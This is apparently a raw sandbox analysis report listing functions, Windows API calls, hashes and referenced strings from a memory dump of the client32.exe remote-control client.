Opcode ID: b1656292a129f8f09a8c7e2961585d639d76e0250c0e1a8987911da478ec1647
Instruction ID: ccd0812ce5c4b190832bbbc4611eee6a3b7bdca2a255a4473ecf135b367f79d4
Opcode Fuzzy Hash: b1656292a129f8f09a8c7e2961585d639d76e0250c0e1a8987911da478ec1647
Instruction Fuzzy Hash: 40417F75D00609AFDB10DFA4C984B9EF7B4FF48B14F10465EE826A7280EB34AA04CF94

Function 11059170 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 126sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11133F90: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11182A50), ref: 11133FFD
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110291B), ref: 1113403E
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1113409B

wsprintfA.USER32 ref: 110591DE
CloseHandle.KERNEL32(?), ref: 11059228
WaitForInputIdle.USER32(?,00001388), ref: 1105923D
Sleep.KERNEL32(00000064), ref: 11059271

Strings

NSMCobrProxy, xrefs: 11059250
%s%s, xrefs: 110591D8
Cobrowse FindWindow ret %x, xrefs: 1105925F
client32.exe /cobrowse, xrefs: 110591CC
NSMCobrMain, xrefs: 11059284
Cobrowse WaitForInputIdle ret %x, xrefs: 11059244

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseFileHandleIdleInputModuleNameSleepWaitwsprintf
String ID: %s%s$Cobrowse FindWindow ret %x$Cobrowse WaitForInputIdle ret %x$NSMCobrMain$NSMCobrProxy$client32.exe /cobrowse
API String ID: 1983868302-3988794623
Opcode ID: 6c1afc4eae45db93175f885578682ff7c5dcd0a4c08b2a706085d4d78dcd34c2
Instruction ID: 64ff9cb93a9663605cfd89a277c98985d389e2c617dc2113b1a8173dc2104267
Opcode Fuzzy Hash: 6c1afc4eae45db93175f885578682ff7c5dcd0a4c08b2a706085d4d78dcd34c2
Instruction Fuzzy Hash: ED41B275E00305AFDB60DF64CC85FDAB7F5EB49748F0085A9FA19A7280EB70A900CB61

Function 11015570 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 123registrytimeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11015588
LoadCursorA.USER32(00000000,00007F00), ref: 110155E4
RegisterClassA.USER32(00000003), ref: 110155FE

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

CreateWindowExA.USER32(00000008,NSMIdentifyWnd,?,90000000,?,?,?,?,00000000,00000000,00000000), ref: 1101565F
UpdateWindow.USER32(00000000), ref: 110156AD
SetTimer.USER32(00000000,00000001,?,00000000), ref: 110156E0

Strings

NSMIdentifyWnd, xrefs: 110155F7, 11015658
..\ctl32\NSMIdentifyWnd.cpp, xrefs: 1101560B, 1101566F
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 11015697, 110156C5
m_hWnd, xrefs: 11015674, 1101569C, 110156CA

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Windowwsprintf$ClassCreateCursorErrorExitLastLoadMessageProcessRegisterTimerUpdate
String ID: ..\ctl32\NSMIdentifyWnd.cpp$NSMIdentifyWnd$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 1905683801-829434836
Opcode ID: d3c1f65075277e3a1e6953d20af43a3d98eef37c275395219bf04279b5829960
Instruction ID: 5d7763ff052535f15a435ab75112d1ab5b6a36c9cbb3a02e710fd65c9b1f1a2f
Opcode Fuzzy Hash: d3c1f65075277e3a1e6953d20af43a3d98eef37c275395219bf04279b5829960
Instruction Fuzzy Hash: 174131B5E00205AFDB11CFA9DC84BDEFBF8EB48308F10852AE518A7644E775A540CF95

Function 1102B140 Relevance: 16.7, APIs: 1, Strings: 10, Instructions: 197sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,000000D0,11043E30,00000000), ref: 1102B2F4

Strings

SetChannel(%s), oldchan=<%s>, xrefs: 1102B273
*channel, xrefs: 1102B23C, 1102B37C
IsA(), xrefs: 1102B1DB, 1102B264, 1102B298, 1102B2BD, 1102B312, 1102B36C
licensee, xrefs: 1102B1B0
_License, xrefs: 1102B1B5
Client, xrefs: 1102B241, 1102B381
Eval, xrefs: 1102B1E8
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1102B1D6, 1102B25F, 1102B293, 1102B2B8, 1102B30D, 1102B367
CLIENT32.CPP, xrefs: 1102B345
gMain.cfg == m_cfg, xrefs: 1102B34A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: *channel$CLIENT32.CPP$Client$Eval$IsA()$SetChannel(%s), oldchan=<%s>$_License$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$gMain.cfg == m_cfg$licensee
API String ID: 3472027048-3511930441
Opcode ID: 83fb0e30d710a8545d2df3fc2a43f17ed3962404db71377e151b0bf2a2734884
Instruction ID: 4d6f59fa27967af7cb4369fcdfea8b63f9a66c189d59db9a75944a8f7c73a5dd
Opcode Fuzzy Hash: 83fb0e30d710a8545d2df3fc2a43f17ed3962404db71377e151b0bf2a2734884
Instruction Fuzzy Hash: 98717C38E00A06ABDB15DB95DC94FEEF775AF58708F508158E92177284DB70B904CBA1

Function 11037540 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 197COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11037585
_strncpy.LIBCMT ref: 110376F1

Strings

UseNTSecurity, xrefs: 1103765B
UserNames, xrefs: 11037645
ValidAddresses., xrefs: 11037673
SecurityKey2, xrefs: 1103762F
Client, xrefs: 11037601
SecurityKey, xrefs: 11037619

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset_strncpy
String ID: Client$SecurityKey$SecurityKey2$UseNTSecurity$UserNames$ValidAddresses.
API String ID: 3140232205-3449891838
Opcode ID: 590b2bcb691e3b6a15250803a6b5b66dbbf136148ffd1a16c0b18f4875028790
Instruction ID: 08675ffc2996a9994ec77ae635d004e2547b145dc9a4bb826478d0f5d07006d3
Opcode Fuzzy Hash: 590b2bcb691e3b6a15250803a6b5b66dbbf136148ffd1a16c0b18f4875028790
Instruction Fuzzy Hash: 4461D97590061B9FD711CF28DD94FDAB7A8AF95308F0481D4E99997241EB70FA48CBD0

Function 11055550 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 172synchronizationtimeCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,82E0FB89,?,?), ref: 11055599
EnterCriticalSection.KERNEL32(?,?,?), ref: 11055620
timeGetTime.WINMM(?,?), ref: 1105564C
LeaveCriticalSection.KERNEL32(?,?,?), ref: 110556FA
EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 11055714
LeaveCriticalSection.KERNEL32(?,?,?), ref: 11055739

Strings

maxslaves, xrefs: 110556B3
_License, xrefs: 110556B8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ObjectSingleTimeWaittime
String ID: _License$maxslaves
API String ID: 2566820294-253336860
Opcode ID: 85b39d58914408d7a163e2829e83e83e104effb36fc5577ab1e2f1b96c7350b9
Instruction ID: 48dbc85ab943934b8a84466f30def54263bd35f2e1c3ca06f7287a6687e73580
Opcode Fuzzy Hash: 85b39d58914408d7a163e2829e83e83e104effb36fc5577ab1e2f1b96c7350b9
Instruction Fuzzy Hash: 18619E75E01656DFDBC1CFA5D8C4B5AB7B8FB48708F0445A9E815D7244EB31A800CBA0

Function 1100B740 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 149COMMON

Download Yara Rule

APIs

GetOverlappedResult.KERNEL32(?,82E0F949,FFFFFFFF,00000001), ref: 1100B78C
GetLastError.KERNEL32 ref: 1100B796
GetTickCount.KERNEL32 ref: 1100B7F9
wsprintfA.USER32 ref: 1100B836
ResetEvent.KERNEL32(?), ref: 1100B8EF

Strings

Hook_channels, xrefs: 1100B88B
Audio, xrefs: 1100B890, 1100B8B0
Hook_bits_per_sample, xrefs: 1100B8AB
New hooked channels,bitspersample=%d,%d (old %d,%d), xrefs: 1100B874, 1100B8D7

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountErrorEventLastOverlappedResetResultTickwsprintf
String ID: Audio$Hook_bits_per_sample$Hook_channels$New hooked channels,bitspersample=%d,%d (old %d,%d)
API String ID: 3598861413-432254317
Opcode ID: 5a65eb48652872d5814f4f76bc611f026241ddcf49cf48a664d38855d5c02a46
Instruction ID: db9b1c3ef7ce759150f8a04d918defbb80db3967ff41a2750ff19611511fa969
Opcode Fuzzy Hash: 5a65eb48652872d5814f4f76bc611f026241ddcf49cf48a664d38855d5c02a46
Instruction Fuzzy Hash: 965107B9D00A06ABE710DF64CC84ABBB7F8FF45318F448119F56A92281E734B940C765

Function 110252E0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11025323

Part of subcall function 1107C480: _strrchr.LIBCMT ref: 1107C48E

Part of subcall function 110EAB20: LoadLibraryA.KERNEL32(Kernel32.dll,82E0FB89,00000002,00000000,00000000), ref: 110EAB5F
Part of subcall function 110EAB20: GetCurrentProcessId.KERNEL32 ref: 110EABAA
Part of subcall function 110EAB20: GetProcAddress.KERNEL32(?,ProcessIdToSessionId), ref: 110EABB7
Part of subcall function 110EAB20: FreeLibrary.KERNEL32(?), ref: 110EAC54

wsprintfA.USER32 ref: 11025359
wsprintfA.USER32 ref: 110253C5
wsprintfA.USER32 ref: 110253FD

Strings

TraceModuleName, xrefs: 110252FF
_Debug, xrefs: 1102543B
%d.exe, xrefs: 11025352
tracefile, xrefs: 110253DF
trace, xrefs: 110253A6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$Library$AddressCurrentFileFreeLoadModuleNameProcProcess_strrchr
String ID: %d.exe$TraceModuleName$_Debug$trace$tracefile
API String ID: 3659486034-589725905
Opcode ID: a7275773bff2871041cdee74396cf3c916417c8c27af77f7b489e8b866625208
Instruction ID: 1d59da684ea919fcfefad1fdef7527821daba306a369c67dcb23b03b15758af2
Opcode Fuzzy Hash: a7275773bff2871041cdee74396cf3c916417c8c27af77f7b489e8b866625208
Instruction Fuzzy Hash: 57410A35F0011A9BCB01DF659C44AFEF3A8DF8921DF5481A9ED8AD7241EE619944CBD0

Function 11055110 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 141registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,82E0FB89,00000000,00000000,771B23A0,110553B7,00000000,00000000), ref: 11055168
LeaveCriticalSection.KERNEL32(?), ref: 1105528A

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

RegOpenKeyExA.ADVAPI32(-80000002,SOFTWARE\Productive Computer Insight\Client32\AutoReconnect,00000000,0002001F,?), ref: 1105521D
RegDeleteValueA.ADVAPI32(?,?), ref: 1105523D
RegCloseKey.ADVAPI32(?), ref: 11055247
SetEvent.KERNEL32(?), ref: 11055280

Strings

gMain.pReconnThread, xrefs: 11055151
SOFTWARE\Productive Computer Insight\Client32\AutoReconnect, xrefs: 110551DC, 11055211
CltReconn.cpp, xrefs: 1105514C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterErrorEventExitLastLeaveMessageOpenProcessValuewsprintf
String ID: CltReconn.cpp$SOFTWARE\Productive Computer Insight\Client32\AutoReconnect$gMain.pReconnThread
API String ID: 1302350719-2578778249
Opcode ID: 1ed26ea936be5e88d747cbffeef235a5e33d6034bfc5ea2ba229771a93fa66eb
Instruction ID: ce719fab2f9905b832c3f41bb8e1db8fccc4b13b2a84366b11d07be144a05397
Opcode Fuzzy Hash: 1ed26ea936be5e88d747cbffeef235a5e33d6034bfc5ea2ba229771a93fa66eb
Instruction Fuzzy Hash: 4141E476E00615AFDB81CFA4CCC0A9EBBA5FB46754F148269FD15DB240E736E901CB90

Function 11103160 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 111synchronizationCOMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(75A37AB0,82E0FB89,?,75A37AA0,00000000,?,00000000,1116FF88,000000FF,?,110B7556), ref: 111031AA
EnterCriticalSection.KERNEL32 ref: 111031F5
SetEvent.KERNEL32(00000264), ref: 1110321E
CloseHandle.KERNEL32(00000264), ref: 11103252
WaitForSingleObject.KERNEL32(00000284,000000FF), ref: 11103260
CloseHandle.KERNEL32(00000284), ref: 1110326D
LeaveCriticalSection.KERNEL32(111DC080), ref: 111032AE

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

idata->Q.size () == 0, xrefs: 11103199
..\ctl32\Refcount.cpp, xrefs: 11103194

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterErrorEventExitLastLeaveMessageObjectProcessSingleWaitwsprintf
String ID: ..\ctl32\Refcount.cpp$idata->Q.size () == 0
API String ID: 3524385308-424854974
Opcode ID: bd65ad0157e7c5f0c241708b226ef3e10c76f8ac0d767ff1d6be5bb52270b901
Instruction ID: 5537e226c3ed29ed2631099e1c940a9c2653324e19426985809a76b96a39e417
Opcode Fuzzy Hash: bd65ad0157e7c5f0c241708b226ef3e10c76f8ac0d767ff1d6be5bb52270b901
Instruction Fuzzy Hash: E8419179D156219FCB44DFA5D8C8A5BF7A4FB0B318B148A7DE82693744D730B400CBA0

Function 110AB7F0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 101libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,82E0FB89,?,?,00000000), ref: 110AB834
EnumWindows.USER32(110AA9F0,?), ref: 110AB897
GetRgnBox.GDI32(?,?), ref: 110AB8B5
GdiFlush.GDI32 ref: 110AB8CD
DeleteObject.GDI32(?), ref: 110AB8DB
FreeLibrary.KERNEL32(?), ref: 110AB8F0

Strings

Client, xrefs: 110AB87B
psapi.dll, xrefs: 110AB82F
IgnoreScrapeApps, xrefs: 110AB876

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$DeleteEnumFlushFreeLoadObjectWindows
String ID: Client$IgnoreScrapeApps$psapi.dll
API String ID: 2450096840-2589157395
Opcode ID: 75bedf2fc8f724d347e8135fc49e05a308359e9aee003c88a1db692aba27b468
Instruction ID: bca5b5664efed83dbd9da041e75816698c7097caf9201845a9eb86541f09eb4f
Opcode Fuzzy Hash: 75bedf2fc8f724d347e8135fc49e05a308359e9aee003c88a1db692aba27b468
Instruction Fuzzy Hash: 1941C2B6D006599FCB10CFE9D884ADEFBB8FB09314F60866AE419A7240D730A944CF60

Function 11135710 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76librarytimeloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11134460: GetVersionExA.KERNEL32(111DC648,75A38400), ref: 11134490
Part of subcall function 11134460: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111344CF
Part of subcall function 11134460: _memset.LIBCMT ref: 111344ED
Part of subcall function 11134460: _strncpy.LIBCMT ref: 111345AF
Part of subcall function 11134460: RegCloseKey.KERNEL32(00000000), ref: 111345BF

LoadLibraryA.KERNEL32(secur32.dll,82E0FB89,?,?,?), ref: 11135751
GetProcAddress.KERNEL32(00000000,GetUserNameExA), ref: 11135769
timeGetTime.WINMM(?,?), ref: 1113577C
timeGetTime.WINMM(?,?), ref: 11135793
GetLastError.KERNEL32(?,?), ref: 11135799
FreeLibrary.KERNEL32(00000000,?,?), ref: 111357BB

Strings

secur32.dll, xrefs: 1113574C
